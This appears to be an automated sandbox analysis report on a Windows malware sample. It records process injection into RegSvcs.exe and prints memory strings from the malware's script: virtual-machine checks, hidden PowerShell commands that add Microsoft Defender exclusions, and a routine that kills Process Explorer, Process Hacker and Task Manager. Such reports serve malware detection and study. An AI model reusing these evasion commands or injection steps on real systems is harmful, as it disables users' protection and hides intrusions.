Source: qwlvpmrupf.mp3.exe, 00000012.00000003.2216123247.000000000198D000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: riveSpaceFree("d:\") < 1 And ProcessExists("VMwareService.exe") Then"
Source: qwlvpmrupf.mp3, 00000007.00000003.1829676845.0000000001055000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: If DriveSpaceFree("d:\") < 1 And ProcessExists("VMwareService.exe") Then`y
Source: qwlvpmrupf.mp3, 00000007.00000003.1947990948.00000000010A2000.00000004.00000020.00020000.00000000.sdmp, qwlvpmrupf.mp3, 00000007.00000003.1947073721.0000000001097000.00000004.00000020.00020000.00000000.sdmp, qwlvpmrupf.mp3, 00000007.00000003.1947564822.000000000109B000.00000004.00000020.00020000.00000000.sdmp, qwlvpmrupf.mp3, 00000007.00000003.1948427869.00000000010A3000.00000004.00000020.00020000.00000000.sdmp, qwlvpmrupf.mp3, 00000007.00000003.1950258431.00000000010B4000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: VBoxTray.exe
Source: qwlvpmrupf.mp3.exe, 00000013.00000003.2206906562.00000000013A4000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: If DriveSpaceFree("d:\") < 1 And ProcessExists("VMwareUser.exe") Then
Source: ngPebbPhbp.exe, 00000000.00000003.1739308660.000000000354F000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: \??\SCSI#CdRom&Ven_NECVMWar&Prod_VMware_SATA_CD00#4&224f42ef&0&000000#{53f5630d-b6bf-11d0-94f2-00a0c91efb8b}y
Source: qwlvpmrupf.mp3, 00000007.00000003.1829676845.0000000001055000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: If DriveSpaceFree("d:\") < 1 And ProcessExists("VMwareUser.exe") ThenVy
Source: qwlvpmrupf.mp3.exe, 00000010.00000003.1992150517.0000000001744000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: If DriveSpaceFree("d:\") < 1 And ProcessExists("VMwareService.exe") Thenp21
Source: qwlvpmrupf.mp3.exe, 00000013.00000003.2294257622.00000000013E9000.00000004.00000020.00020000.00000000.sdmp, qwlvpmrupf.mp3.exe, 00000013.00000003.2296155124.00000000013FD000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: VBoxTray.exe7>
Source: OpenWith.exe, 0000000F.00000003.1934921441.00000000057A0000.00000004.00000001.00020000.00000000.sdmp	Binary or memory string: EnableGuestVmNetworkConnectivity
Source: qwlvpmrupf.mp3.exe, 00000012.00000003.2215043797.00000000019DC000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: VboxService.exe
Source: qwlvpmrupf.mp3.exe, 00000012.00000003.2213103873.0000000001988000.00000004.00000020.00020000.00000000.sdmp, qwlvpmrupf.mp3.exe, 00000012.00000003.2215757310.000000000198A000.00000004.00000020.00020000.00000000.sdmp, qwlvpmrupf.mp3.exe, 00000012.00000003.2216123247.000000000198D000.00000004.00000020.00020000.00000000.sdmp, qwlvpmrupf.mp3.exe, 00000012.00000003.2121860556.0000000001986000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: If ProcessExists("VBoxTray.exe") Then

Source: C:\Users\user\Desktop\ngPebbPhbp.exe

API call chain: ExitProcess graph end node

graph_0-27815

Source: C:\Users\user\AppData\Local\Temp\RarSFX0\qwlvpmrupf.mp3

Process information queried: ProcessInformation

Jump to behavior

Source: C:\Users\user\AppData\Local\Temp\RarSFX0\qwlvpmrupf.mp3

Code function: 7_2_003EF3FF BlockInput,

7_2_003EF3FF

Source: C:\Users\user\Desktop\ngPebbPhbp.exe

Code function: 0_2_00B26878 IsProcessorFeaturePresent,IsDebuggerPresent,SetUnhandledExceptionFilter,UnhandledExceptionFilter,

0_2_00B26878

Source: C:\Users\user\AppData\Local\Temp\RarSFX0\qwlvpmrupf.mp3

Code function: 7_2_00375D78 GetVersionExW,GetCurrentProcess,IsWow64Process,LoadLibraryA,GetProcAddress,GetNativeSystemInfo,FreeLibrary,GetSystemInfo,GetSystemInfo,

7_2_00375D78

Source: C:\Users\user\Desktop\ngPebbPhbp.exe	Code function: 0_2_00B2ECAA mov eax, dword ptr fs:[00000030h]	0_2_00B2ECAA
Source: C:\Users\user\AppData\Local\Temp\RarSFX0\qwlvpmrupf.mp3	Code function: 7_2_00395078 mov eax, dword ptr fs:[00000030h]	7_2_00395078
Source: C:\Users\user\AppData\Local\Temp\RegSvcs.exe	Code function: 14_2_05561277 mov eax, dword ptr fs:[00000030h]	14_2_05561277
Source: C:\Windows\SysWOW64\OpenWith.exe	Code function: 15_3_03280283 mov eax, dword ptr fs:[00000030h]	15_3_03280283
Source: C:\Users\user\AppData\Roaming\wlnk\qwlvpmrupf.mp3.exe	Code function: 16_2_00DB5078 mov eax, dword ptr fs:[00000030h]	16_2_00DB5078
Source: C:\Users\user\AppData\Local\Temp\RegSvcs.exe	Code function: 17_2_066C7A45 mov eax, dword ptr fs:[00000030h]	17_2_066C7A45
Source: C:\Users\user\AppData\Local\Temp\RegSvcs.exe	Code function: 17_2_066CA22E mov eax, dword ptr fs:[00000030h]	17_2_066CA22E
Source: C:\Users\user\AppData\Local\Temp\RegSvcs.exe	Code function: 17_2_066CA28B mov eax, dword ptr fs:[00000030h]	17_2_066CA28B

Source: C:\Users\user\Desktop\ngPebbPhbp.exe

Code function: 0_2_00B32CE0 GetProcessHeap,

0_2_00B32CE0

Source: C:\Users\user\Desktop\ngPebbPhbp.exe	Code function: 0_2_00B26878 IsProcessorFeaturePresent,IsDebuggerPresent,SetUnhandledExceptionFilter,UnhandledExceptionFilter,	0_2_00B26878
Source: C:\Users\user\Desktop\ngPebbPhbp.exe	Code function: 0_2_00B2AAC4 IsDebuggerPresent,SetUnhandledExceptionFilter,UnhandledExceptionFilter,	0_2_00B2AAC4
Source: C:\Users\user\Desktop\ngPebbPhbp.exe	Code function: 0_2_00B26A0B SetUnhandledExceptionFilter,	0_2_00B26A0B
Source: C:\Users\user\Desktop\ngPebbPhbp.exe	Code function: 0_2_00B25BBF SetUnhandledExceptionFilter,UnhandledExceptionFilter,GetCurrentProcess,TerminateProcess,	0_2_00B25BBF
Source: C:\Users\user\AppData\Local\Temp\RarSFX0\qwlvpmrupf.mp3	Code function: 7_2_003A29B2 IsDebuggerPresent,SetUnhandledExceptionFilter,UnhandledExceptionFilter,	7_2_003A29B2
Source: C:\Users\user\AppData\Local\Temp\RarSFX0\qwlvpmrupf.mp3	Code function: 7_2_00390BCF IsProcessorFeaturePresent,IsDebuggerPresent,SetUnhandledExceptionFilter,UnhandledExceptionFilter,	7_2_00390BCF
Source: C:\Users\user\AppData\Local\Temp\RarSFX0\qwlvpmrupf.mp3	Code function: 7_2_00390D65 SetUnhandledExceptionFilter,	7_2_00390D65
Source: C:\Users\user\AppData\Local\Temp\RarSFX0\qwlvpmrupf.mp3	Code function: 7_2_00390FB1 SetUnhandledExceptionFilter,UnhandledExceptionFilter,GetCurrentProcess,TerminateProcess,	7_2_00390FB1
Source: C:\Users\user\AppData\Roaming\wlnk\qwlvpmrupf.mp3.exe	Code function: 16_2_00DC29B2 IsDebuggerPresent,SetUnhandledExceptionFilter,UnhandledExceptionFilter,	16_2_00DC29B2
Source: C:\Users\user\AppData\Roaming\wlnk\qwlvpmrupf.mp3.exe	Code function: 16_2_00DB0BCF IsProcessorFeaturePresent,IsDebuggerPresent,SetUnhandledExceptionFilter,UnhandledExceptionFilter,	16_2_00DB0BCF
Source: C:\Users\user\AppData\Roaming\wlnk\qwlvpmrupf.mp3.exe	Code function: 16_2_00DB0D65 SetUnhandledExceptionFilter,	16_2_00DB0D65
Source: C:\Users\user\AppData\Roaming\wlnk\qwlvpmrupf.mp3.exe	Code function: 16_2_00DB0FB1 SetUnhandledExceptionFilter,UnhandledExceptionFilter,GetCurrentProcess,TerminateProcess,	16_2_00DB0FB1

Source: C:\Users\user\AppData\Local\Temp\RegSvcs.exe

Memory allocated: page read and write | page guard

Jump to behavior

HIPS / PFW / Operating System Protection Evasion

.NET source code references suspicious native API functions

Source: 14.2.RegSvcs.exe.310c174.2.raw.unpack, Flutter.cs	Reference to suspicious API methods: VirtualAlloc(IntPtr.Zero, new IntPtr(65536), MEM_COMMIT, 4u)
Source: 14.2.RegSvcs.exe.310c174.2.raw.unpack, Flutter.cs	Reference to suspicious API methods: Marshal.WriteIntPtr(new IntPtr(intPtr.ToInt64() + num), GetProcAddress(moduleHandle, array[i]))
Source: 14.2.RegSvcs.exe.310c174.2.raw.unpack, Flutter.cs	Reference to suspicious API methods: VirtualProtect(intPtr, 65536u, 64u, out var _)

Allocates memory in foreign processes

Source: C:\Users\user\AppData\Local\Temp\RarSFX0\qwlvpmrupf.mp3	Memory allocated: C:\Users\user\AppData\Local\Temp\RegSvcs.exe base: 990000 protect: page execute and read and write	Jump to behavior
Source: C:\Users\user\AppData\Roaming\wlnk\qwlvpmrupf.mp3.exe	Memory allocated: C:\Users\user\AppData\Local\Temp\RegSvcs.exe base: 1100000 protect: page execute and read and write	Jump to behavior
Source: C:\Users\user\AppData\Roaming\wlnk\qwlvpmrupf.mp3.exe	Memory allocated: C:\Users\user\AppData\Local\Temp\RegSvcs.exe base: BB0000 protect: page execute and read and write
Source: C:\Users\user\AppData\Roaming\wlnk\qwlvpmrupf.mp3.exe	Memory allocated: C:\Users\user\AppData\Local\Temp\RegSvcs.exe base: 700000 protect: page execute and read and write

Injects a PE file into a foreign processes

Source: C:\Users\user\AppData\Local\Temp\RarSFX0\qwlvpmrupf.mp3	Memory written: C:\Users\user\AppData\Local\Temp\RegSvcs.exe base: 990000 value starts with: 4D5A	Jump to behavior
Source: C:\Users\user\AppData\Roaming\wlnk\qwlvpmrupf.mp3.exe	Memory written: C:\Users\user\AppData\Local\Temp\RegSvcs.exe base: 1100000 value starts with: 4D5A	Jump to behavior
Source: C:\Users\user\AppData\Roaming\wlnk\qwlvpmrupf.mp3.exe	Memory written: C:\Users\user\AppData\Local\Temp\RegSvcs.exe base: BB0000 value starts with: 4D5A
Source: C:\Users\user\AppData\Roaming\wlnk\qwlvpmrupf.mp3.exe	Memory written: C:\Users\user\AppData\Local\Temp\RegSvcs.exe base: 700000 value starts with: 4D5A

Writes to foreign memory regions

Source: C:\Users\user\AppData\Local\Temp\RarSFX0\qwlvpmrupf.mp3	Memory written: C:\Users\user\AppData\Local\Temp\RegSvcs.exe base: 990000	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\RarSFX0\qwlvpmrupf.mp3	Memory written: C:\Users\user\AppData\Local\Temp\RegSvcs.exe base: 782000	Jump to behavior
Source: C:\Users\user\AppData\Roaming\wlnk\qwlvpmrupf.mp3.exe	Memory written: C:\Users\user\AppData\Local\Temp\RegSvcs.exe base: 1100000	Jump to behavior
Source: C:\Users\user\AppData\Roaming\wlnk\qwlvpmrupf.mp3.exe	Memory written: C:\Users\user\AppData\Local\Temp\RegSvcs.exe base: FC5000	Jump to behavior
Source: C:\Users\user\AppData\Roaming\wlnk\qwlvpmrupf.mp3.exe	Memory written: C:\Users\user\AppData\Local\Temp\RegSvcs.exe base: BB0000
Source: C:\Users\user\AppData\Roaming\wlnk\qwlvpmrupf.mp3.exe	Memory written: C:\Users\user\AppData\Local\Temp\RegSvcs.exe base: 8CD000
Source: C:\Users\user\AppData\Roaming\wlnk\qwlvpmrupf.mp3.exe	Memory written: C:\Users\user\AppData\Local\Temp\RegSvcs.exe base: 700000
Source: C:\Users\user\AppData\Roaming\wlnk\qwlvpmrupf.mp3.exe	Memory written: C:\Users\user\AppData\Local\Temp\RegSvcs.exe base: 44A000

Source: C:\Users\user\AppData\Local\Temp\RarSFX0\qwlvpmrupf.mp3

7_2_003D1A91

Source: C:\Users\user\AppData\Local\Temp\RarSFX0\qwlvpmrupf.mp3

Code function: 7_2_00373312 GetCurrentDirectoryW,IsDebuggerPresent,GetFullPathNameW,KiUserCallbackDispatcher,SetCurrentDirectoryW,MessageBoxA,SetCurrentDirectoryW,GetForegroundWindow,ShellExecuteW,

7_2_00373312

Source: ngPebbPhbp.exe, 00000000.00000003.1732897348.0000000007855000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: $colitems = $owmi.execquery("select * from antivirusproduct")	memstr_024668af-4
Source: ngPebbPhbp.exe, 00000000.00000003.1732897348.0000000007855000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: for $objantivirusproduct in $colitems	memstr_839a4043-7
Source: ngPebbPhbp.exe, 00000000.00000003.1732897348.0000000007855000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: $usb = $objantivirusproduct.displayname	memstr_3ea2d620-a
Source: ngPebbPhbp.exe, 00000000.00000003.1732897348.0000000007855000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: next	memstr_40f250bf-8
Source: ngPebbPhbp.exe, 00000000.00000003.1732897348.0000000007855000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: return $usb	memstr_6911e3a1-3
Source: ngPebbPhbp.exe, 00000000.00000003.1732897348.0000000007855000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: endfunc ;==>antivirus	memstr_a788ce8f-d
Source: ngPebbPhbp.exe, 00000000.00000003.1732897348.0000000007855000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: func disabler()	memstr_9cfc67f4-2
Source: ngPebbPhbp.exe, 00000000.00000003.1732897348.0000000007855000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: ;if antivirus() = "windows defender" then	memstr_88363666-1
Source: ngPebbPhbp.exe, 00000000.00000003.1732897348.0000000007855000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: ;#requireadmin	memstr_35a5b242-c
Source: ngPebbPhbp.exe, 00000000.00000003.1732897348.0000000007855000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: shellexecute("powershell", " -command add-mppreference -exclusionpath " & @scriptdir, "", "", @sw_hide)	memstr_e5f8c176-5
Source: ngPebbPhbp.exe, 00000000.00000003.1732897348.0000000007855000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: shellexecute("powershell", " powershell -command add-mppreference -exclusionprocess 'regsvcs.exe'", "", "", @sw_hide)	memstr_df9b808e-7
Source: ngPebbPhbp.exe, 00000000.00000003.1732897348.0000000007855000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: shellexecute("powershell", " powershell -command add-mppreference -exclusionextension '.vbs'", "", "", @sw_hide)	memstr_63049b3f-0
Source: ngPebbPhbp.exe, 00000000.00000003.1732897348.0000000007855000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: shellexecute("powershell", " powershell -command add-mppreference -exclusionextension '.vbe'", "", "", @sw_hide)	memstr_b10eb256-9
Source: ngPebbPhbp.exe, 00000000.00000003.1732897348.0000000007855000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: shellexecute("powershell", " powershell -command add-mppreference -exclusionextension '*.vbs'", "", "", @sw_hide)	memstr_b6f8f66e-7
Source: ngPebbPhbp.exe, 00000000.00000003.1732897348.0000000007855000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: shellexecute("powershell", " powershell -command add-mppreference -exclusionextension '*.vbe'", "", "", @sw_hide)	memstr_3c585536-a
Source: ngPebbPhbp.exe, 00000000.00000003.1732897348.0000000007855000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: ;endif	memstr_4dbc1717-4
Source: ngPebbPhbp.exe, 00000000.00000003.1732897348.0000000007855000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: endfunc ;==>disabler	memstr_0c69540c-4
Source: ngPebbPhbp.exe, 00000000.00000003.1732897348.0000000007855000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: func antianalysis()	memstr_9d395c50-f
Source: ngPebbPhbp.exe, 00000000.00000003.1732897348.0000000007855000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: if winexists("process explorer") then	memstr_55a52968-2
Source: ngPebbPhbp.exe, 00000000.00000003.1732897348.0000000007855000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: winclose("process explorer")	memstr_f11f3a3e-1
Source: ngPebbPhbp.exe, 00000000.00000003.1732897348.0000000007855000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: processclose("procexp64.exe")	memstr_04f452c3-2
Source: ngPebbPhbp.exe, 00000000.00000003.1732897348.0000000007855000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: processclose("procexp.exe")	memstr_bc9a639d-2
Source: ngPebbPhbp.exe, 00000000.00000003.1732897348.0000000007855000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: if winexists("process hacker") then	memstr_c7389a6e-6
Source: ngPebbPhbp.exe, 00000000.00000003.1732897348.0000000007855000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: winclose("process hacker")	memstr_0432f897-0
Source: ngPebbPhbp.exe, 00000000.00000003.1732897348.0000000007855000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: processclose("processhacker.exe")	memstr_2dceed27-f
Source: ngPebbPhbp.exe, 00000000.00000003.1732897348.0000000007855000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: if processexists("taskmgr.exe") then	memstr_90e183a4-5
Source: ngPebbPhbp.exe, 00000000.00000003.1732897348.0000000007855000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: processclose("taskmgr.exe")	memstr_bebcb323-0
Source: ngPebbPhbp.exe, 00000000.00000003.1732897348.0000000007855000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: if processexists("regshot.exe") then	memstr_5784a0d4-a
Source: ngPebbPhbp.exe, 00000000.00000002.1863627962.00000000055E4000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: defaulttabtip-mainui:	memstr_a978b269-5
Source: ngPebbPhbp.exe, 00000000.00000002.1863627962.00000000055E4000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: ((((( h	memstr_7f0c42f0-2
Source: ngPebbPhbp.exe, 00000000.00000002.1863627962.00000000055E4000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: excel.sheet.8@nt	memstr_c7ced7c8-2
Source: ngPebbPhbp.exe, 00000000.00000002.1863627962.00000000055E4000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: apphvsiphvs	memstr_9496104c-3
Source: ngPebbPhbp.exe, 00000000.00000002.1863627962.00000000055E4000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: ((((( h	memstr_096a2b58-d
Source: ngPebbPhbp.exe, 00000000.00000002.1863627962.00000000055E4000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: ollate=c;lc_ctype=c;lc_monetary=c;lc_numeric=c;lc_time=c	memstr_61589bd2-c
Source: ngPebbPhbp.exe, 00000000.00000002.1863627962.00000000055E4000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: ollate=c;lc_ctype=c;lc_monetary=c;lc_numeric=c;lc_time=cq	memstr_b3b02830-2
Source: ngPebbPhbp.exe, 00000000.00000003.1737245206.0000000003557000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: setup=rmxb.vbe	memstr_665cfb78-2
Source: ngPebbPhbp.exe, 00000000.00000003.1737245206.0000000003557000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: tempmode	memstr_7e863389-f
Source: ngPebbPhbp.exe, 00000000.00000003.1737245206.0000000003557000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: silent=1	memstr_e1cbc0de-3
Source: ngPebbPhbp.exe, 00000000.00000003.1737245206.0000000003557000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: h4~u	memstr_ba216905-9
Source: ngPebbPhbp.exe, 00000000.00000003.1737245206.0000000003557000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: h${u	memstr_02e4e2c3-e
Source: ngPebbPhbp.exe, 00000000.00000003.1737245206.0000000003557000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: c:\users\user\appdata\local\temp\rarsfx0\|	memstr_40750185-0
Source: ngPebbPhbp.exe, 00000000.00000003.1737245206.0000000003557000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: c:\users\user\appdata\local\temp\rarsfx0	memstr_8eb40578-9
Source: ngPebbPhbp.exe, 00000000.00000003.1737245206.0000000003557000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: 2c\t4	memstr_97ed82c2-0
Source: ngPebbPhbp.exe, 00000000.00000003.1737245206.0000000003557000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: @c\t4	memstr_76fd42fb-e
Source: ngPebbPhbp.exe, 00000000.00000003.1737245206.0000000003557000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: ^c\t4	memstr_2454207e-b
Source: ngPebbPhbp.exe, 00000000.00000003.1737245206.0000000003557000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: richedit20w	memstr_5052e667-5
Source: ngPebbPhbp.exe, 00000000.00000003.1737245206.0000000003557000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: swvd8	memstr_dfdffd00-f
Source: ngPebbPhbp.exe, 00000000.00000003.1737245206.0000000003557000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: x-5o\	memstr_4f6997ef-3
Source: ngPebbPhbp.exe, 00000000.00000003.1737245206.0000000003557000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: /c\t4	memstr_d24ff1b4-f
Source: ngPebbPhbp.exe, 00000000.00000003.1737245206.0000000003557000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: `hc\t4	memstr_6373d10a-0
Source: ngPebbPhbp.exe, 00000000.00000003.1737245206.0000000003557000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: 7s45g6a2	memstr_2589be0a-a
Source: ngPebbPhbp.exe, 00000000.00000003.1737245206.0000000003557000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: ch4mv6q5	memstr_b63cdb2a-e
Source: ngPebbPhbp.exe, 00000000.00000003.1737245206.0000000003557000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: ch4mv6q5p	memstr_b32b9968-0
Source: ngPebbPhbp.exe, 00000000.00000003.1736387700.0000000009885000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: 8y8y`	memstr_75a35eae-b
Source: ngPebbPhbp.exe, 00000000.00000003.1736079973.000000000359A000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: tkf91tf3	memstr_2a6f684e-b
Source: ngPebbPhbp.exe, 00000000.00000003.1736079973.000000000359A000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: q^i[_i	memstr_dad3041c-f
Source: ngPebbPhbp.exe, 00000000.00000003.1736079973.000000000359A000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: _i\|bi	memstr_fad23d2b-f
Source: ngPebbPhbp.exe, 00000000.00000003.1736079973.000000000359A000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: aiiai3_i	memstr_8d23938f-e
Source: ngPebbPhbp.exe, 00000000.00000003.1736079973.000000000359A000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: _ie`ik_iwbi	memstr_343cd8ec-4
Source: ngPebbPhbp.exe, 00000000.00000003.1736079973.000000000359A000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: @ppj!j	memstr_53402124-6
Source: ngPebbPhbp.exe, 00000000.00000003.1736079973.000000000359A000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: u<@ppj!j	memstr_3bd64218-6
Source: ngPebbPhbp.exe, 00000000.00000003.1736079973.000000000359A000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: us9q4un	memstr_020bc78a-3
Source: ngPebbPhbp.exe, 00000000.00000003.1736079973.000000000359A000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: 9{dt	memstr_10620e7a-f
Source: ngPebbPhbp.exe, 00000000.00000003.1736079973.000000000359A000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: i9{dt	memstr_3ebad243-7
Source: ngPebbPhbp.exe, 00000000.00000003.1736079973.000000000359A000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: 9{ht	memstr_dea981ab-3
Source: ngPebbPhbp.exe, 00000000.00000003.1736079973.000000000359A000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: i9{ht	memstr_9b8817df-e
Source: ngPebbPhbp.exe, 00000000.00000003.1736079973.000000000359A000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: wj!j j	memstr_4cab02a8-2
Source: ngPebbPhbp.exe, 00000000.00000003.1736079973.000000000359A000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: 4)mg;	memstr_7a5475b7-4
Source: ngPebbPhbp.exe, 00000000.00000003.1736079973.000000000359A000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: i9\|$(	memstr_5db8855d-d
Source: ngPebbPhbp.exe, 00000000.00000003.1736079973.000000000359A000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: d$,0pw	memstr_bef5cbf5-d
Source: ngPebbPhbp.exe, 00000000.00000003.1736079973.000000000359A000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: 9\|$(t	memstr_4997385d-3
Source: ngPebbPhbp.exe, 00000000.00000003.1736079973.000000000359A000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: d$,pw	memstr_f47f9642-d
Source: ngPebbPhbp.exe, 00000000.00000003.1736079973.000000000359A000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: d$,pj	memstr_4ad0b7cb-b
Source: ngPebbPhbp.exe, 00000000.00000003.1736079973.000000000359A000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: d$\pwhl	memstr_e6597ba5-f
Source: ngPebbPhbp.exe, 00000000.00000003.1736079973.000000000359A000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: t$ph+	memstr_d6a8de8f-9
Source: ngPebbPhbp.exe, 00000000.00000003.1736079973.000000000359A000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: d$8+d$0j	memstr_6260c4b4-3
Source: ngPebbPhbp.exe, 00000000.00000003.1736079973.000000000359A000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: d$<+d$4@p	memstr_44f1986e-7
Source: ngPebbPhbp.exe, 00000000.00000003.1736079973.000000000359A000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: d$<+d$4p	memstr_3d4de57d-e
Source: ngPebbPhbp.exe, 00000000.00000003.1736079973.000000000359A000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: \|$ t"j	memstr_a5691dc8-c
Source: ngPebbPhbp.exe, 00000000.00000003.1736079973.000000000359A000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: qqsvw	memstr_bd87c039-7
Source: ngPebbPhbp.exe, 00000000.00000003.1736079973.000000000359A000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: ppppp	memstr_f02066a6-1
Source: ngPebbPhbp.exe, 00000000.00000003.1736079973.000000000359A000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: d$ pj	memstr_ba660ce9-3
Source: ngPebbPhbp.exe, 00000000.00000003.1736079973.000000000359A000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: d$ pjh3	memstr_84e60165-1
Source: ngPebbPhbp.exe, 00000000.00000003.1736079973.000000000359A000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: d$ pjh2	memstr_a047b23e-7
Source: ngPebbPhbp.exe, 00000000.00000003.1736079973.000000000359A000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: )mwqw	memstr_906c6b60-2
Source: ngPebbPhbp.exe, 00000000.00000003.1736079973.000000000359A000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: 54)mh )mv	memstr_e102f225-b
Source: ngPebbPhbp.exe, 00000000.00000003.1736079973.000000000359A000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: ivyi}yi	memstr_c520a37a-a
Source: ngPebbPhbp.exe, 00000000.00000003.1736079973.000000000359A000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: #msvwt	memstr_2198d3b7-7
Source: ngPebbPhbp.exe, 00000000.00000003.1736079973.000000000359A000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: d$0vps	memstr_86c20ff7-8
Source: ngPebbPhbp.exe, 00000000.00000003.1736079973.000000000359A000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: d$8ps	memstr_403e2242-c
Source: ngPebbPhbp.exe, 00000000.00000003.1736079973.000000000359A000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: d$4ps	memstr_3294e2cf-9
Source: ngPebbPhbp.exe, 00000000.00000003.1736079973.000000000359A000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: 9t$$t	memstr_1a4e3689-8
Source: ngPebbPhbp.exe, 00000000.00000003.1736079973.000000000359A000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: d$4pj	memstr_f220c57c-3
Source: ngPebbPhbp.exe, 00000000.00000003.1736079973.000000000359A000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: \|$$t@	memstr_4ac238bf-8
Source: ngPebbPhbp.exe, 00000000.00000003.1736079973.000000000359A000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: d$0ps	memstr_fe384605-7
Source: ngPebbPhbp.exe, 00000000.00000003.1736079973.000000000359A000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: t)m;e	memstr_4684017f-e
Source: ngPebbPhbp.exe, 00000000.00000003.1736079973.000000000359A000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: x)m;e	memstr_7840ee4f-b
Source: ngPebbPhbp.exe, 00000000.00000003.1736079973.000000000359A000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: *;5p)m	memstr_75a18f70-6
Source: ngPebbPhbp.exe, 00000000.00000003.1736079973.000000000359A000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: 5p)m3	memstr_fcc9342c-8
